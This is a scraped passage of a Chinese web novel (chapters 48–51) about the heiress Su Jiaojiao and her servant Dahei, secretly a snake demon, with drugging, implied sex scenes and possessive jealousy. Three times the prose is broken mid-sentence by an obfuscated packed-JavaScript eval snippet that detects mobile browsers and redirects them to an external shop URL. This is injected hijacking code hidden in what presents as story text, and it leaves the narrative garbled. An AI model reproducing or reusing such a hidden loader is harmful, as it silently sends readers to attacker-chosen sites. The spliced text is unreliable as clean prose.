梨鱼的面容奇怪地扭曲了一下。 好生不解风情的男人! 小青看去,春枝此时已拿过一颗葡萄喂向苏娇娇的口中,青年神情懵懂,呆愣地被这娇媚的女子伺候着。 春枝见青年神情并不抗拒,心中一喜,正欲更近一步,想将自己的嘴唇递上去。 只是刚有这个动作,她忽然脑袋传来一阵刺痛,疼得她龇牙咧嘴,差点从苏娇娇的怀中滚落下去。 苏娇娇好像清醒了一些,她微微蹙眉,将人推了下去。 “重死了,坐本……我腿上做什么。” 差点说漏嘴,好在苏娇娇维持着最后一丝清明,努力圆了回来。 春枝惊愕地看向周围。 空荡荡的,什么都没有,怎么会这样。 恐惧浮现上心头。 方才那感觉定不是错觉,仿佛有人用针扎了她的脑袋似的,疼得她喘不过来气。 一旁正愤懑不平的梨鱼突然乐了。 这个贱货像是突然中邪了似的。 这对自己可太有好处了。 梨鱼心下微动,拿起酒壶,给苏娇娇倒了一杯酒。 她柔柔地递给他:“公子请喝酒。” 苏娇娇记得这酒的滋味,他眼睛一亮,接了过来,正欲喝下去,酒杯忽然自己掉在了地上。 杯中所盛的酒水皆洒了一地。 苏娇娇有些疑惑地抬眸。 他记得他握住了啊。 梨鱼没太在意,这公子看着醉得不轻,握不住酒杯也实属正常。 她忽然想到什么,羞涩一笑:“公子,不如让我用更为亲近的方法喂你喝酒吧。” 她又倒了一杯酒,自己喝了下去,却没有咽下去。 这下连小青都知晓她要做什么了。 这放荡的女子竟然要拿嘴来喂小姐喝酒!!! 小青急切了,只是还没等她阻止。 便见梨鱼忽然双眸瞪大,吐出了口中的酒水,倒在了地上。 这吓坏了在场的所有人。 春枝越发觉得方才那不是错觉。 这太恐怖了。 仿佛只要她们一靠近这位俊朗的青衣公子,便会像中邪一样,发生一些灾事。 此时,她心里再无攀龙附凤的心思了,只想着保住自己的命。 春枝爬了起来,一张小脸煞白,她行礼道:“今日是我们姐妹二人的责任,无法再陪两位公子了,公子所赏的银两我都放在这了,先失陪了。” 话落,她连忙提着裙角,将一旁倒在地上的梨鱼扶起,搀扶着她,两人脚下步子飞快,连忙小跑了出去。 苏娇娇微微睁眼,那股奇怪的注视感忽然消失了。 小青也惊奇这一幕,她心生恐惧,这地方也太邪门了。 “小姐,我们快走吧。” 苏娇娇点点头,眼前的一幕仍是朦胧的。 她想,她果然是醉得不清了。 要不然怎么总感觉背后有一道目光在阴暗处紧紧地注视着她。 48. 黑蛇妖 苏娇娇意识朦胧之下,也忘了自己怎么一转眼便回到了府上,可能是小青将自己带回来的吧。 她倒在床上不省人事。 微微清醒后,便感觉到一阵热意从体内传来。 熟悉的燥意升起,苏娇娇已经不是不知人事的少女了,她自然清楚这感觉是什么。 该死的。 她早该想到的。 花楼里的酒哪里是敢喝的,里面分明是加了催/情的药。 还未等她喊人,便见大黑推开门,端着一碗粥走来。 苏娇娇努力压下心头的那股燥意,从床榻上爬了起来。 “你来干什么,出去!” 大黑没停,他越走越近,穿过了屏风,来到了美人榻。 目光幽幽。 苏娇娇身上的青衣被人换成了自己常穿的襦裙。 恐怕她自己也没发现吧。 她坐在床榻之上,努力摆出冷脸,却被身体里那股燥意弄得脸颊微红,眉间风情。 大黑看在眼里,喉结微微滑动。 他走到苏娇娇身侧,端起手中的粥,用勺子舀出一些,又凑近吹了吹,这才放到苏娇娇的嘴边。 可惜对方并不领情。 她用手一推,大黑敏锐地察觉到,连忙侧身把粥护住。 苏娇娇扑了个空,冷哼一声。 她想狠狠地瞪大黑一眼,却硬生生变成了娇俏地瞥了一眼。 大黑将粥放置桌上。 青年步步紧逼,苏娇娇想扇他一巴掌,却被他凑过来时身上的侵略气息招得腿软。 原本抬起的手掌被那该死的狗奴才握住,两人之间的距离愈发亲密。 苏娇娇有些喘不过气来,一双水眸微微抬起。 大黑忍不住摩挲了几下女子的手心。 他忽然低头轻嗅了几下,苏娇娇被他的动作弄的手心一痒。 正欲将手抽出来,便见大黑忽然将她的手指含在了嘴里。 苏娇娇顿时瞪大眼。 他轻轻地舔舐,如同动物般将自己的气息覆盖在上面。 抽出来时,暧昧的水痕也随之显露。 苏娇娇脸微红。 心头的那股燥意愈发浓烈。 她被逼得眼尾都红了,沁着点点水意。 苏娇娇如猫儿般缠在大黑身上。 她温软的气息席卷而来。 “难受……” 女子哼唧道。 青年喉结滚动。 眼底微暗。 人类雌性前几天一直对自己不闻不问,他焦急,却束手无措。 却见她忽然去了一个奇怪的地方。 那里的人类对她的行为亲昵又暧昧,大黑就藏匿在角落看着她们,嫉妒地心里燃起熊熊怒火。 大黑将自己的面庞故意挪到苏娇娇面前。 他还记得,人类雌性喜欢这副面容。 果然,女子的目光一滞。 她抱住大黑的脑袋。 “吧唧”。 她往他的左脸上亲了一口,又摆过他的脸,往右脸上亲了一口。 大黑被她的举动激的牙齿微微打颤。 人类雌性此时的模样真的好……可爱。 苏娇娇撒娇地朝他耳边道:“难受……难受……” 大黑呼吸一滞。 他将人抱了起来,放在床榻上,压了上去。 “娇娇……喜……喜欢你……” 大黑磕磕巴巴道。 只有在床上时,他才会开口说话。 苏娇娇微微抬眸,眼里还是迷茫与欲/望。 她将青年的脖颈拉了下来,亲了上去。 接下来的事情,水到渠成。 苏娇娇清醒后,发现身旁已无人了。 身体虽然还有些酸痛感,但并不难受,显然已被清洗过了。 她对这种事一直不太在意,不然也不会在第一次时找一个哑奴。 虽然已经打定主意不再搭理那该死的奴才了,真做了便做了吧,反正那奴才本钱还不错。 就当自己嫖了他一次了。 苏娇娇将此事抛之脑后。 继续该干嘛干嘛。 大黑很快发现,人类雌性清醒后,又开始将他视为空气了。 某日大黑将夫子所教的“娇娇”二字带了回来,他眼睛亮亮的,递给苏娇娇,希望能够得到夸奖。 却见苏娇娇微微扬眉:“这字如同狗爬状,丑得本小姐不忍直视,还敢写本小姐的闺名,你这奴才真是吃了雄心豹子胆了,还不滚回去。” 话落,她将那纸张毫不留情地丢在了地上。 大黑有些迷茫,自己每次在床上都会叫人类雌性娇娇,听了以后,人类雌性非但不生气,反而哼唧得更厉害了。 怎么到了床下,就变了一副模样了。 大黑抱着纸张离开后,没有难过多久,又提着斧头来了。 他记得人类雌性喜欢看自己砍木柴。 那日让自己劈了几千根木柴。 却见苏娇娇冷哼一声:“哪来的卑贱下人在本小姐面前丢人现眼。” 话落,几个小厮便将他请出去了。 大黑这次很平静地走出去了。 没过多久,他听到几个婢女在说悄悄话。 一个婢女说:“这几日我小腹疼得厉害,做什么都没劲。” 另外一个婢女应和道:“对对对,我也这样,每次这样的时候,我都控制不住自己发脾气。” 大黑恍然大悟。 原来人类雌性是生病了。 他继续偷听着。 婢女道:“多喝一些红糖水便能好很多了。” 大黑面上一喜,立马跑到厨房去泡红糖水。 厨娘还打趣道:“大黑这是有媳妇了啊。” 大黑面色平静,实则心中疑惑,媳妇是什么意思。 厨娘却来了兴致,说道:“有了媳妇可要对人家好啊,不能欺骗人家,也不能辜负人家。” 大黑忽然有了些思绪。 这似乎是在说他的雌性。 待大黑兴冲冲地端着红糖水来到苏娇娇门口时,却被小青拦住了。 小青面色平静道:“小姐有令,任何人不得进她的房间。” 大黑将红糖水递给小青,小青有些奇怪地看着这碗黑乎乎的东西。 红糖水? 小姐没要这个啊。 抬头看到大黑期待的眼神。 小青叹了口气。 “罢了,我给你通报一声。” 没过多久,小青便出来了。 大黑直勾勾地看着房屋,似乎要透过门窗看到里面的人。 “小姐说……” 小青欲言又止。 忽然抱歉地看了一眼大黑。 “小姐说你有病就去找郎中治病去。” 这话着实尖锐。 大黑呆愣了许久。 他忽然意识到,人类雌性似乎是真的不想理会他了。 大黑颓靡了一阵,他忽然灵光一闪。 夜深,屋内香炉升起缕缕薄烟,苏娇娇正坐在铜镜前,试她新买的发簪。 白玉发簪呈杜鹃状,清 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14044947|147273||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 雅大方,被簪在女子发间,衬得人愈发灵动。 苏娇娇眉眼弯弯,水眸潋滟。 她忽然在镜中看到了一个奇怪的黑点。 苏娇娇转头看去。 面色陡然苍白,心头升起恐惧。 只见屏风后面一条黑蛇正直勾勾地看着自己,它墨绿色的瞳孔一动不动,口中红信子时不时吐出,发出“嘶嘶”的声音。 似乎意识到苏娇娇发现了自己。 黑蛇摆动蛇尾,竟然直直地过来了。 它的体型大了许多,比记忆中更大了。 苏娇娇神情大变,她喊道:“小青、小青。” 无人回应。 那黑蛇步步紧逼。 苏娇娇被迫往后退着步子。 她神情警惕,退到桌子旁,拿起墙上挂着的鞭子。 眼见黑蛇与自己之间的距离已不足一尺,苏娇娇神情一狠,拿起鞭子狠狠抽了过去。 却见黑蛇张开大口,并不闪躲,它将鞭子咬住,竟将其咬断了。 苏娇娇拿着半截的鞭子,真正开始恐惧了。 “小青、小青!” 依然无法应答。 黑蛇却没停止它的爬动。 它步步紧逼,蛇尾已经朝苏娇娇的小臂缠了上去。 蛇头与苏娇娇面对面,继而张开大口,锋利的尖齿尽数展露。 “嘶……” 苏娇娇眼泪已经掉出来了。 她记得,那哑奴可以将那只巨大的老虎打死,这黑蛇定也是有办法对付的。 “大黑!” 只喊了一声,便见门被“砰”得一声打开。 大黑的身影便出现了。 看到眼前这一幕,他神情微惊。 连忙取下背上的斧头,他身姿矫捷,快步跳到黑蛇身旁,狠狠劈了下去。 一击即中,黑蛇疼痛地龇牙咧嘴。 身上的黑色鳞片落了一地,黑血止不住地流淌着。 黑蛇冷冷地看了大黑一眼,这畜牲看出了大黑的危险性,竟生了灵智,不再恋战,摆尾离开了。 待那黑蛇彻底没了影,苏娇娇才放松下来,她整个人瘫坐在地上,止不住地喘气。 看到大黑,苏娇娇眼含泪意地扑进他怀里。 温香软玉在怀,大黑想道。 果然,人类害怕自己的原型,却又依赖自己变化的人形。 他忽然想到厨娘叮嘱自己不要欺骗自己的雌性,大黑有些心虚。 他用假象的原型骗了人类,又用变化的人形骗取人类雌性的信赖。 没愧疚多久,便被人类雌性香香的味道迷的神魂颠倒。 大黑面露痴态。 将怀中的女子紧紧搂住,凑到她耳边道:“娇娇……不要不……理……我。” 苏娇娇身子一僵。 猛地看向了大黑。 “你何时会说话了?” 大黑面不改色,也不说话。 苏娇娇咬咬牙,想将这狗奴才狠狠教训一顿,又害怕把人赶走后,那恐怖的黑蛇又来找她。 大黑抱着怀里的女子,忽然问道:“娇娇……很怕……那……条蛇……吗?” “当然了,那蛇看着就可怖得很。” 更何况,她曾日日被那黑蛇在梦中缠身,真恨不得放干它的血,生啖其肉。 大黑面露失落。 人类雌性果然还是厌恶他的原型。 苏娇娇平静下来,忽然面色一动。 她与这哑奴一共做了两次。 这两次她都没犯过梦魇,睡得极其安稳。 49. 黑蛇妖 翌日,人类雌性依旧对自己不理不睬。 开了荤的淫/蛇却哪里沉得住心。 他在夜深之际,偷偷翻窗爬到了苏娇娇的床榻之上。 不承想,人类雌性并没有睡着,看到他,眼里闪过惊愕,却没有发脾气。 大黑心中暗喜,他凑近苏娇娇,用胳膊支在她的双臂两侧,用脸颊亲昵地摩挲着她的脸颊,触感过好,他忍不住多蹭了一会。 苏娇娇却不乐意了,她掐了掐大黑的胳膊,力道不大,皮糙肉厚的大黑却轻“嘶”一声,整个人往下倒去,他温热的呼吸落在她的耳侧,苏娇娇酥麻了一阵,耳后染上红色。 大黑喉结滚动,直勾勾地望着苏娇娇。 他的手自发地向下。 他喜欢人类雌性软软的这里,和自己的身体一点都不一样。 苏娇娇身子一颤,眼里沁出媚意来。 一双水眸潋滟,柔柔地看着大黑。 大黑似乎被鼓励到,他的动作越发放/荡。 两人缠绵一夜。 大黑近日开心极了。 苏娇娇虽然白天依旧不搭理自己,但每当夜晚他偷偷爬到苏娇娇的床榻之上,她都会热情地缠上来。 大黑快乐极了。 他越来越喜欢这个人类雌性了。 他现在不想要雌蛇了,他只想要娇娇。 ——倘若娇娇能答应同自己回山林深处,成为自己唯一的配偶,与他在山林中快活。 想到这个可能,大黑激动得牙齿都在打颤。 险些控制不住原型的显露。 苏娇娇也愉悦极了。 由于这几日夜晚与那狗奴才缠绵,她再没被那黑蛇在梦中缠身过,睡得安稳舒服,解决了这一大困扰,整个人神清气爽。 某日。 小青忽然传话道爹娘在正堂等她,有要事商议。 苏娇娇有些疑惑,有何要事值得这般郑重。 “老爷夫人可说是何事了吗?” “尚未。” 苏娇娇没多想,慢吞吞地用膳后才去了。 待去了以后,她被爹娘严肃郑重的神情吓了一跳。 苏娇娇微微扬眉,吊儿郎当地坐下,还翘着二郎腿。 爹的眉头跳了跳,微微蹙眉道:“你如今也年岁不小了,合该知晓一些礼节,莫要让旁人笑话。” 苏娇娇“咦”了一声。 她又看向娘,便见娘赞许地点点头。 “娇娇,你爹说得对,出嫁以后,便不能像现在这样随心所欲了,不然定会让夫家看轻了去。” 今日这是怎的了。 左一个嫁人,右一个夫家的。 苏娇娇哼了一声。 “我何时说要嫁人了。” 嫁人这般麻烦,她若真要嫁人,还不如让她死了算了。 倒不如娶个夫郎过来。 爹的眉头染上几分怒意:“哪有女子不嫁人的!” 苏娇娇忽然凑到爹娘身旁,亲昵地环住他们的胳膊。 “女儿才不要嫁人呢,女儿要一辈子陪在爹娘身旁。” 话落,两人不满的神情皆有所缓和。 娘叹了口气,眼里却满是宠溺:“你是还想祸害我们一辈子吧。” 女子回之娇憨一笑。 爹语重心长地说道:“嫁人了我们也好放心,爹娘护得了你一时,护不了你一世,我们总要走在你前面的。” 苏娇娇想了想道:“这还不简单,找个倒插门的。” 爹娘对视一眼,忽然觉得这是个不错的建议。 女儿性格娇纵,不像寻常女子那般知书达礼,嫁到别人家,总会惹些是非,倒不如找个靠谱的男子做上门女婿。 反正他们家有的是银两。 苏夫人心思敏锐,一下子就察觉到这话的言外之意。 她忽然笑道:“听你这话,你这是有心仪的人选了?” 爹也看了过来。 面对两人的目光灼灼,苏娇娇面不改色:“大黑。” 大黑??? 是谁? “你说的是,一条狗的名字吗?” 娘惊愕地开口问道。 苏娇娇嗤笑一声:“当然不是,这是我随身护卫的名字。” 苏娇娇的随身护卫…… 爹眉心一跳。 终于想起来是谁了。 便是那天苏娇娇执意要买下的哑奴。 他早该知晓的。 当时看那青年虽狼狈不堪,但难掩姿色。 他心下警惕,却只提醒了苏娇娇不要太过火了。 谁曾想,这妮子现在竟是要让这小子倒插门。 爹心中怒火中烧。 “你想都不要想。” 话落,他拂袖而去。 面对苏娇娇迷惘的神情,娘叹了口气。 “倒插门也是有讲究的,虽不讲究门当户对,也当找个家世清白的,找个哑奴你是要气死我和你爹吗。” 话落,她摇摇头,也离开了。 苏娇娇还是不太理解他们生气的点。 哑奴又如何。 何况他现在也不哑了。 除过大黑。 她再想不到还有哪个长得不错,任她打骂,听话得像条狗的男人了。 这次爹娘的态度很坚决,苏娇娇旁敲侧击多次,也没有软化的迹象。 甚至因此愈发态度反抗。 苏娇娇不敢逼得过紧。 况且自己又不是非大黑不可。 紧接着,爹生怕苏娇娇一心吊在歪脖子树上,给苏娇娇送来了许多才俊青年的画像。 考虑到是入赘,都是普通的清白人家,没有大富大贵之家。 但个个都相貌端正,品性高洁。 大黑前来苏娇娇闺房之际,便看到她桌上放置的画像。 都是男人的。 苏娇娇看见他来,微微抬眸:“正好,过来给本小姐挑挑。” 大黑坐在她身侧,手臂自然地环住她的细腰。 苏娇娇也不在意。 做都做过了,还在乎这些肢体接触。 女子挑剔的目光在画像上穿梭。 “这个,娘里娘气的。” 苏娇娇将画像丢下去。 “这个,看着花心。” 画像被丢了下去。 只见地上已经有一堆被丢掉的画像了。 大黑目光闪烁,他开口道:“娇娇……在……干嘛?” “哦,我爹娘让我挑个夫婿进府。” 苏娇娇随口道。 “夫婿……是什么……意思?” 大黑困惑地蹙眉。 苏娇娇惊愕地看了他一眼,真是个乡巴佬,什么也不知道。 “就是配偶,懂吗?跟本小姐要过一辈子的男人。” 苏娇娇微微撇嘴。 还不一定一辈子呢。 要不是为了堵住爹娘的嘴,真不想做这些这么麻烦的事情。 大黑面色微变。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14067982|147273||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>他忍住心中的慌乱,手下的劲道却出卖了自己的内心。 “嘶。” 苏娇娇吃痛一声,腰间搭的手突然收紧。 大黑歉意地看着苏娇娇,给她揉揉酸痛的腰。 只是揉着揉着,那股意味就变了。 大黑本就吃醋人类雌性要另择配偶的事情,恨不得她赶紧离那堆该死的画像远点,苏娇娇也看得心烦,被他揉出了心思,便顺水推舟,随了他了。 两人倒在床榻之上。 苏娇娇忽然捂住大黑要落下的嘴唇。 “不要留印。” 她总要选一个差不多的男人,然后再顺着爹娘的意思跟他见面,美其名曰培养感情。 这奴才跟条狗一样,到处标记,总不能带着一身暧昧的印子去约会吧。 大黑狠狠地咬牙。 才不听她的话,顺着苏娇娇的脖颈就亲了上去。 苏娇娇一巴掌扇了过来。 这狗奴才,听不懂人话似的。 情到深处,大黑忽然凑到苏娇娇耳边道:“娇娇……选我当……夫婿吧……” 苏娇娇艰难地睁开眼,哼唧道:“你是绝对不可能的。” 她倒觉得不错。 但是她爹娘不同意,她也没辙。 毕竟这本来就是为了让她爹娘满意,才要娶的夫婿。 大黑愣了一下,抿唇不言。 动作却越发凶狠起来。 逼得苏娇娇忍不住唤他。 结束后,苏娇娇安然入睡。 大黑却怎么也睡不着。 他盯着女子的睡颜,心里升起浓浓的嫉妒和暴虐之情。 大黑下了床榻,冷冷地看着桌上的画像。 他忽然点起火来,火光升起,熊熊燃烧,将桌上连同地上的画像烧的一干二净。 奇怪的是,烧尽后,火没有继续蔓延,反而无影无踪了。 那堆烦人的东西没了,大黑的心情这才好了些。 他又爬上了床,将女子搂在怀里。 大黑怜爱地亲亲苏娇娇的小嘴。 “娇娇……乖乖……” * 醒后的苏娇娇还没从睡梦中彻底清醒,就被小青的声音吓醒。 “怎么会这样,画像怎么会……” 苏娇娇忍住心中的怒火,看了过去。 她面色惊愕。 便见昨日堆了一桌子的画像消失得一干二净,只剩下燃烧后的灰烬。 小青尚在害怕中,苏娇娇心中已有眉目了。 恐怕是那善妒的狗奴才干的。 苏娇娇冷哼一声。 得寸进尺的狗东西。 不过她也不想再去看那些歪瓜裂枣的画像,看得直辣眼睛。 也不知爹的审美怎么变成这样了,还声称:“相貌端正,品性高洁。” 其实这也怪不了苏父,也怪不了那些青年。 主要是大黑的相貌正戳苏娇娇的审美点,不然当时也不会从一群人中挑了他当奴才,再加上这奴才用起来极为称心称意,苏娇娇便更为满意了。 画像中的青年,相貌好的看起来不老实,老实的又长得歪瓜裂枣的。 小青小心翼翼地抬头看她:“小姐,要找人去查查吗?” “不用。烧了便烧了吧。” “那老爷和夫人那边怎么交代?” 苏娇娇喝了一口茶水:“便说是本小姐失手打翻了烛火。” “是。” 小青垂着头回应道。 50. 黑蛇妖 苏娇娇原以为爹娘会发怒,自己少不了一顿唠叨,却没想,这话传过去像石子落在大海里,没有惊起一朵浪花。 她还问小青话传过去了没,小青老实回道:“传过去了,奴婢亲口给老爷夫人说的,当时老爷没有什么表情,只称知晓了,夫人没说话。” 坏了。 苏娇娇沉吟片刻,心沉了些,看前几日爹娘的态度,对她的婚事定是极为看重的,不像是不追究的人,现在这么安静,她反而不安稳了,这恐怕是暴风雨来临前的宁静吧。 果不其然,小青又来传话道老爷夫人让她前去正堂,有要事相议。 苏娇娇微微扬眉。 这几日要事可真是多。 待去了正堂,眼前的一幕让她微微惊愕。 只见屋内除过爹娘,又多了一对夫妇和一个青年。 三人衣着布料精细,气质不凡,一向严肃的爹与他们交谈之际,也爽朗地开怀大笑。 看到她,众人的目光皆看了过来。 那对夫妇审视的目光落在苏娇娇身上。 女子一身粉嫩的襦裙,妆容淡雅,却无半分寡淡,反而将女子娇美的容貌映衬得更加突出,她的眉目之间几抹淡然,面对几人的注视,也不像寻常女子那般羞涩掩面。 他们满意地点点头。 而那青年看到苏娇娇,眼睛都直了。 爹哈哈大笑:“瞧老夫这女儿过来了。” 他示意苏娇娇叫人。 苏娇娇微微抬眸:“女儿不认识,哪里能唤人。” 爹脸色微变,那对夫妇连忙接话道:“应该的应该的,娇娇还不认识我们,日后熟悉了,便是一家人,自会叫人的。” 成为一家人…… 苏娇娇忽然明白了。 只是把画像烧的一干二净。 这次便直接把人带回来了。 爹娘一愣,显然也被这话惊住了。 那青年闻言面上一抹红霞升起,待面上红温散尽,他连忙道:“快让苏小姐坐下吧,大家这样莽撞,会惹得苏小姐心中慌乱。” 话落,几个长辈对视一眼,几抹笑意。 “你这孩子,这就心疼上了。” 面对娘的打趣,青年好不容易降下的温度又升起来了。 待坐好后,青年郑重开口道:“前来突然,尚未向苏小姐介绍自己,实当不应该。在下名为郑青丞,家父为冕侯爷。” 苏娇娇神情微动。 冕侯爷…… 她看了过去,只见冕侯爷神情威严,看到自己的目光,他微微点头,苏娇娇回之一礼。 若这样,那妇人应当是冕侯爷的夫人。 爹娘从哪找来的,不是说只要清白人家,怎得连自己家高攀不起的权贵也找来了。 “先前不知晓几位的身份,多有冒犯,还请体谅。” 苏娇娇开口道。 “只是不知,这是要做何事,又为何要牵扯上民女。” 爹主动回道:“今日传你来,就是为此事。冕侯爷传来书信称家中之子对你心怀倾慕之意,特此前来拜访。” 苏娇娇蹙眉道:“这便要对不住几位了,民女只想要赘婿,以郑公子的身份,实在不匹配。” 这话说得突然,在场的几位皆变了脸色。 爹娘急得团团转。 虽然先前苏娇娇的确有这个想法,他们也考虑过,但冕侯爷的儿子可实属青年才俊,已是不可多得的男子,这丫头怎生说话这般快,也不和他们商量商量。 冕侯爷与他夫人的脸色皆有些挂不住,脸色隐隐难堪。 郑青丞也惊诧地看向苏娇娇。 苏娇娇却没有半分后悔之意。 她可不会因为任何人改变自己的想法。 哪怕对方权势再高。 爹主动解围道:“这丫头,就是过于心直口快了,还请冕侯爷,侯夫人,郑世子切莫在意。” 冕侯爷轻轻甩袖:“先失陪了。” 候夫人跟着走了。 郑青丞盯着苏娇娇好一阵,开口道:“在下回去后会开导家父家母,伯父伯母以及……苏小姐也莫要多想,日后会回信与您的。” 爹欣慰地点点头。 面对苏娇娇的话,这青年也不见生怒,可见胸怀宽广。 郑青丞抱拳告别。 待人都走后,爹皱起眉头。 “你给我过来。” 苏娇娇慢悠悠地走了过去。 一看她这模样,爹更是心中一团怒火升起。 “你方才在说的什么话,你可知对面都是什么人,别说能不能定亲了,到时候定下罪来,咱们家几个人的脑袋都不够抵的。” 苏娇娇看向娘,便见娘却没有生怒的意思,反而在沉思着什么。 苏娇娇回道:“女儿也知晓方才之举不太妥当,不过女儿还是要说,爹您也知对面是什么地位,自然也知晓咱们家是什么地位,女儿先前与那郑世子从未见过面,为何突然提出生出拜访之意。” 她点到为止。 爹紧跟着神情微动。 他被这巨大的惊喜砸中,竟忘了背后的原因。 仔细想来,实在值得深思。 他们家虽然在当地有点小钱,算得上富贵人家,但跟权贵之家相比,用“暴发户”称呼也不足为奇。 越是有权有势的人家,便越注重门当户对。 那郑世子还能说是被爱意冲昏了头脑,侯爷与候夫人却哪里能纵得他。 深究下来,处处都是漏洞。 苏娇娇方才之举,确实冒犯,但若是真头脑一热,看重了候王府的富贵,日后会发生什么事情,谁也无法想象。 相较下来,那冒犯之举的罪便显得微不足道了。 爹神情松动,看向苏娇娇,叹了口气:“是爹错怪你了。” 苏娇娇微微扬眉:“哪里用得上爹跟女儿道歉,只是女儿在担心一件事。” 她抬眸,与娘的目光对视上,皆看到了对方的意思。 娘说道:“那侯爷与候夫人既然找上了我们,便是看到了我们身上哪些值得利用的点,定是不愿善罢甘休的,怕就怕娇娇的话并不会劝退他们,再找上门来,实在无法有所抵抗。” 苏娇娇也点点头。 爹眉间浮上几抹愁思:“还是我想的太浅了,我这辈子最宝贵的便是你们了,到时候就是拼出整条命也要护住你们母女!” 这话令气氛一下子变得沉重了。 苏娇娇弯眸道:“有爹这份心便好了,咱们也不要多想了,“兵来将挡水来土掩”,况且人家说不定被我的话吓得再也不敢来了,自己吓自己算什么事。” 爹娘被她的话逗得忍俊不禁。 原本 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14098660|147273||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沉重的气氛渐渐缓和。 苏娇娇微微抬眸,悄声道:“倘若真的没事的话,那女儿还能赘婿吗?” 爹冷哼一声:“你怕是还想着你那个哑奴呢,休想!” 娘笑了笑,跟着离开了。 苏娇娇悄悄撇嘴。 * 苏娇娇心大,就像她说的“兵来将挡水来土掩”,即使后面可能会有危险来临,她也不惧怕,因此心情半点没有被影响,一路欢快地回到屋子。 刚推开门,便察觉出奇怪来。 屏风背后似乎有一条黑影爬动,看那影子似乎是蛇的模样。 苏娇娇面色一白。 该死的,又是那条黑蛇来了吗。 她拿出腰间别的匕首,心中冷嗤一声。 温顺的兔子尚且会咬人,更何况,她比兔子可凶残多了。 苏娇娇早有防备,拿惯手的鞭子没了用,便专门去打磨了一把锋利的匕首,这匕首足以削掉头颅。 她就不信了,没了大黑,她还对付不了那条臭蛇。 苏娇娇脚步轻挪,攥紧手中的匕首,慢慢地靠近,她抬高匕首,在走近屏风之际,狠狠地按下去。 下一刻,她的手腕被人攥住。 大黑疑惑道:“娇娇……你……在干嘛……” 苏娇娇呼了一口气。 “你这狗奴才在这里干嘛,知不知道要吓死本小姐了!” 苏娇娇将手抽了回来,把匕首收了起来。 大黑看着她,默不作声。 “又哑巴了?” 苏娇娇看向他。 “你刚才……去……干嘛……了……” 大黑忽然开口问道。 苏娇娇将匕首收好,她在腰间做了一个设计,专门搁置匕首,就是担心那黑蛇出现得突然。 “跟你有什么关系。” 苏娇娇抬眸看他,淡淡道。 大黑眼底晦暗。 他看到了。 家里多了一个男人。 那男人直勾勾地看着人类雌性。 眼里的意味让他想把那男人杀了。 大黑凑近苏娇娇,拉起她的手,与她十指相扣。 两人的手亲密无间。 “那个……男人……喜欢你……” 苏娇娇微微蹙眉:“你看到了?你在哪里站着?” 他是恢复了黑蛇的原型才躲过了人类的目光。 但是这是不能给苏娇娇说的。 大黑沉默着,没说话。 胳膊忽然传来刺痛。 苏娇娇掐了一下他。 “你个狗奴才还敢不回本小姐的话!” 女子瞪向大黑,一双水眸直勾勾地撞进大黑深邃的瞳孔。 对方眼眸中侵略意味十足,仿佛下一秒就要将她吞之入腹。 苏娇娇有些不自在地避开了。 下一秒,被人抬起下颚。 一抹温软覆了上来。 呼吸被剥夺了去。 苏娇娇说不出话来,她的话语破碎在咽喉中。 大黑抢夺着她口中的温暖与呼吸。 他只想让人类雌性的身旁只有自己。 任何人都不能来争夺她的目光。 娇娇是他的雌性。 是他的。 是他的。 他的。 51. 黑蛇妖 天气阴恻恻的,乌云密布,天色暗得仿佛一个深洞,下一刻便将人吞噬了去。 倏忽,雨滴点点落下,从屋檐边缘滑落。 苏娇娇撑着伞,慢悠悠地往屋子的方向走去。 走着走着,身侧忽然多了一个高大的黑影。 苏娇娇抬眸看去,大黑撑着黑伞,目光幽幽地盯着自己。 她吓了一跳。 “这又是在做什么,每日里神出鬼没的。” 大黑收起伞,钻进苏娇娇的伞下面,自觉地将伞举起来,为两人遮好风雨。 苏娇娇乐得清闲。 两人之间的距离迅速缩短,大黑凑到女子耳边,轻嗅她身上的味道。 有其他陌生雄性的味道。 青年眼里闪过嫉恨。 “你……去哪……了?” 苏娇娇奇怪地看了他一眼。 没搭理他,正欲往前走,身旁的青年却站直得像个木桩子,偏偏他还举着伞,她没法丢下人直接走开。 “走不走?” 大黑没有回应。 苏娇娇将伞从他手中夺走,自己打着伞继续往前走。 望着女子远去的倩影,大黑目光幽深,他墨色的瞳孔里似乎划过了红光,转瞬即逝。 他抬脚跟了上去。 苏娇娇转过身来,便看见大黑的身影,她冷哼一声,便要将门关住,门被关住的前一秒被人用手挡住,苏娇娇故意使劲,她都听见了对方手被门夹住的响声,大黑却眼睛都不眨一下。 门开了,青年挤了进去。 他将苏娇娇压在了墙壁前,将人紧紧搂住,两人呼吸交缠。 “我……看到了……你……和那个……男人在……一起。” 苏娇娇冷了神情。 “你在跟踪本小姐?” “路……过……” 大黑面不改色道。 